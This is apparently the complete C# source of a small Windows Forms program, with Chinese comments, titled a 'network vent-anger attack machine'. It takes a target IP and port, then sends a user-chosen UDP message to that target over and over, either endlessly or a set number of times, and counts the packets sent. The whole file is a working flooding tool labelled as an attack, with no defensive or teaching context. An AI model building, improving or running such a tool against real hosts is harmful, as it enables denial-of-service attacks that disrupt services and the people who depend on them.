using System; using System.Drawing; using System.Collections; using System.ComponentModel; using System.Windows.Forms; using System.Data; using System.Net; using System.Net.Sockets; using System.Text; using System.Threading; namespace socket_sender { /// <summary> /// Form1 的摘要說明。 /// </summary> public class Form1 : System.Windows.Forms.Form { public bool run=false; //開始攻擊的標誌 public string sendstr="泄憤!"; //待發送的內容 public int count=0; //發送次數 public Thread myAttack; //攻擊線程 private System.Windows.Forms.Label label1; private System.Windows.Forms.TextBox t_dis; private System.Windows.Forms.Label label2; private System.Windows.Forms.TextBox t_numb; private System.Windows.Forms.RadioButton r1; private System.Windows.Forms.RadioButton r2; private System.Windows.Forms.Button button1; private System.Windows.Forms.Button button2; private System.Windows.Forms.Label label3; public System.Windows.Forms.TextBox t_port; private System.Windows.Forms.Label label4; public System.Windows.Forms.TextBox t_content; public System.Windows.Forms.Label msg; private System.Windows.Forms.Label label5; private System.Windows.Forms.TextBox t_locPort; /// <summary> /// 必需的設計器變量。 /// </summary> private System.ComponentModel.Container components = null; public Form1() { // // Windows 窗體設計器支持所必需的 // InitializeComponent(); // // TODO: 在 InitializeComponent 調用後添加任何構造函數代碼 // } /// <summary> /// 清理所有正在使用的資源。 /// </summary> protected override void Dispose( bool disposing ) { if( disposing ) { if (components != null) { components.Dispose(); } } base.Dispose( disposing ); } #region Windows 窗體設計器生成的代碼 /// <summary> /// 設計器支持所需的方法 - 不要使用代碼編輯器修改 /// 此方法的內容。 /// </summary> private void InitializeComponent() { this.label1 = new System.Windows.Forms.Label(); this.t_dis = new System.Windows.Forms.TextBox(); this.label2 = new System.Windows.Forms.Label(); this.t_numb = new System.Windows.Forms.TextBox(); this.r1 = new System.Windows.Forms.RadioButton(); this.r2 = new System.Windows.Forms.RadioButton(); this.button1 = new System.Windows.Forms.Button(); this.button2 = new System.Windows.Forms.Button(); this.label3 = new System.Windows.Forms.Label(); this.t_port = new System.Windows.Forms.TextBox(); this.label4 = new System.Windows.Forms.Label(); this.t_content = new System.Windows.Forms.TextBox(); this.msg = new System.Windows.Forms.Label(); this.label5 = new System.Windows.Forms.Label(); this.t_locPort = new System.Windows.Forms.TextBox(); this.SuspendLayout(); // // label1 // this.label1.Location = new System.Drawing.Point(24, 104); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(56, 16); this.label1.TabIndex = 0; this.label1.Text = "目標IP:"; // // t_dis // this.t_dis.Location = new System.Drawing.Point(112, 96); this.t_dis.Name = "t_dis"; this.t_dis.Size = new System.Drawing.Size(192, 21); this.t_dis.TabIndex = 2; this.t_dis.Text = ""; // // label2 // this.label2.Font = new System.Drawing.Font("宋體", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(134))); this.label2.ForeColor = System.Drawing.Color.FromArgb(((System.Byte)(192)), ((System.Byte)(64)), ((System.Byte)(0))); this.label2.Location = new System.Drawing.Point(112, 24); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(136, 16); this.label2.TabIndex = 2; this.label2.Text = "網絡泄憤攻擊機"; // // t_numb // this.t_numb.Enabled = false; this.t_numb.Location = new System.Drawing.Point(232, 240); this.t_numb.Name = "t_numb"; this.t_numb.Size = new System.Drawing.Size(40, 21); this.t_numb.TabIndex = 12; this.t_numb.Text = ""; // // r1 // this.r1.Location = new System.Drawing.Point(152, 240); this.r1.Name = "r1"; this.r1.Size = new System.Drawing.Size(88, 24); this.r1.TabIndex = 10; this.r1.Text = "攻擊次數:"; this.r1.CheckedChanged += new System.EventHandler(this.r1_CheckedChanged); // // r2 // this.r2.Checked = true; this.r2.Location = new System.Drawing.Point(40, 240); this.r2.Name = "r2"; this.r2.TabIndex = 8; this.r2.TabStop = true; this.r2.Text = "一直循環"; // // button1 // this.button1.Location = new System.Drawing.Point(56, 280); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(75, 32); this.button1.TabIndex = 15; this.button1.Text = "開 始"; this.button1.Click += new System.EventHandler(this.button1_Click); // // button2 // this.button2.Location = new System.Drawing.Point(200, 280); this.button2.Name = "button2"; this.button2.Size = new System.Drawing.Size(75, 32); this.button2.TabIndex = 16; this.button2.Text = "停 止"; this.button2.Click += new System.EventHandler(this.button2_Click); // // label3 // this.label3.Location = new System.Drawing.Point(24, 136); this.label3.Name = "label3"; this.label3.Size = new System.Drawing.Size(72, 16); this.label3.TabIndex = 0; this.label3.Text = "目標端口:"; // // t_port // this.t_port.Location = new System.Drawing.Point(112, 128); this.t_port.Name = "t_port"; this.t_port.Size = new System.Drawing.Size(88, 21); this.t_port.TabIndex = 4; this.t_port.Text = ""; // // label4 // this.label4.Location = new System.Drawing.Point(24, 168); this.label4.Name = "label4"; this.label4.Size = new System.Drawing.Size(64, 16); this.label4.TabIndex = 0; this.label4.Text = "內容:"; // // t_content // this.t_content.Location = new System.Drawing.Point(112, 168); this.t_content.Multiline = true; this.t_content.Name = "t_content"; this.t_content.Size = new System.Drawing.Size(192, 56); this.t_content.TabIndex = 6; this.t_content.Text = ""; // // msg // this.msg.ForeColor = System.Drawing.Color.Red; this.msg.Location = new System.Drawing.Point(8, 336); this.msg.Name = "msg"; this.msg.Size = new System.Drawing.Size(296, 16); this.msg.TabIndex = 9; this.msg.Text = "發送次數:"; // // label5 // this.label5.Location = new System.Drawing.Point(24, 72); this.label5.Name = "label5"; this.label5.Size = new System.Drawing.Size(72, 16); this.label5.TabIndex = 0; this.label5.Text = "本地端口:"; // // t_locPort // this.t_locPort.Location = new System.Drawing.Point(112, 64); this.t_locPort.Name = "t_locPort"; this.t_locPort.Size = new System.Drawing.Size(88, 21); this.t_locPort.TabIndex = 1; this.t_locPort.Text = "8000"; // // Form1 // this.AutoScaleBaseSize = new System.Drawing.Size(6, 14); this.ClientSize = new System.Drawing.Size(328, 357); this.Controls.Add(this.msg); this.Controls.Add(this.t_content); this.Controls.Add(this.t_port); this.Controls.Add(this.button1); this.Controls.Add(this.r2); this.Controls.Add(this.t_numb); this.Controls.Add(this.r1); this.Controls.Add(this.label2); this.Controls.Add(this.t_dis); this.Controls.Add(this.label1); this.Controls.Add(this.button2); this.Controls.Add(this.label3); this.Controls.Add(this.label4); this.Controls.Add(this.label5); this.Controls.Add(this.t_locPort); this.Name = "Form1"; this.Text = "小y"; this.Closing += new System.ComponentModel.CancelEventHandler(this.Form1_Closing); this.ResumeLayout(false); } #endregion /// <summary> /// 應用程序的主入口點。 /// </summary> [STAThread] static void Main() { Application.Run(new Form1()); } //開始按鈕 private void button1_Click(object sender, System.EventArgs e) { //檢測ip和端口號是否填寫完整 if(t_dis.Text==""||t_port.Text==""||t_locPort.Text=="") { MessageBox.Show("本地端口,目標IP和端口三項不能爲空!"); return; } //檢查是否有自定義發送消息 if(t_content.Text!="") sendstr=t_content.Text; //開啓線程來實現攻擊 Thread myAttack=new Thread(new ThreadStart(this.SendTo)); myAttack.Start(); } //線程主函數,功能:發送攻擊數據包 public void SendTo() { msg.Text="線程啓動……"; //建立EndPoint和socket IPEndPoint localHost=new IPEndPoint(IPAddress.Any,int.Parse(t_locPort.Text)); IPEndPoint remotHost=new IPEndPoint(IPAddress.Parse(t_dis.Text),Convert.ToInt16(t_port.Text)); Socket s=new Socket(AddressFamily.InterNetwork,SocketType.Dgram,ProtocolType.Udp); s.SetSocketOption(SocketOptionLevel.Socket,SocketOptionName.SendTimeout,5); //開始建立連接 try { s.Bind((EndPoint)localHost); s.Connect(remotHost); } catch(SocketException e) { MessageBox.Show("建立連接失敗!"+e.Message.ToString()); return; } //如果連接成功,開始發送數據包 msg.Text="連接成功!"; byte[] sendb=Encoding.Default.GetBytes(sendstr); run=true; while(run) { Application.DoEvents(); if(r1.Checked) { //如果選擇了多少次 for(int i=1;i<=Convert.ToInt16(t_numb.Text);i++) { s.Send(sendb,sendb.Length,0); //發送數據 count++; msg.Text="發送次數:"+count; } run=false; //攻擊完指定次數後,循環結束 } else { //選擇了一直髮送 s.Send(sendb,sendb.Length,0); //發送數據 count++; msg.Text="發送次數:"+count; } } s.Close(); run=false; msg.Text="線程退出,攻擊停止!"; } //停止攻擊 private void button2_Click(object sender, System.EventArgs e) { run=false; } //指定發送次數 private void r1_CheckedChanged(object sender, System.EventArgs e) { if(r1.Checked) t_numb.Enabled=true; else t_numb.Enabled=false; } //關閉 private void Form1_Closing(object sender, System.ComponentModel.CancelEventArgs e) { run=false; if(myAttack!=null) myAttack.Join(3000); } } }
|